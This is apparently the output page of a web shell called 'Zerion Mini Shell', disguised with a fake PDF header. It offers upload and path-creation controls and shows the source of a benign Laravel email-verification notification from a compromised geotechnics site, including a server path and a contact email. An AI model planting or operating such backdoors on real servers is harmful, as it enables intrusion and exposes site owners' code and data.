%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Notifications/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Notifications/VerificationEmail.php

<?php

namespace App\Notifications;

use App\Models\User;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Notifications\Messages\MailMessage;
use Illuminate\Notifications\Notification;

class VerificationEmail extends Notification implements ShouldQueue
{
    use Queueable;

    /**
     * Create a new notification instance.
     *
     * @return void
     */
    public function __construct()
    {
        //
    }

    /**
     * Get the notification's delivery channels.
     *
     * @return array
     */
    public function via()
    {
        return ['mail'];
    }

    /**
     * Get the mail representation of the notification.
     *
     * @param  User $notifiable
     * @return MailMessage
     *//////
    public function toMail(User $notifiable)
    {
        return (new MailMessage)->from(env('MAIL_USERNAME', 'greengeotechnics2019@gmail.com'), 'Green Geotechnics')
                                ->subject('Account confirmation')
                                ->greeting(' ')
                                ->line('Please confirm your account at the action below, if you find troubles confirming your account please contact us.')
                                ->action('Confirm account', env('WEB_URL', 'http://localhost:8080/#/') . 'confirmAccount?token=' . $notifiable->confirmation_code)
                                ->line('Thank you for using our application!');
    }

    /**
     * Get the array representation of the notification.
     *
     * @return array
     */
    public function toArray()
    {
        return [];
    }
}

Zerion Mini Shell 1.0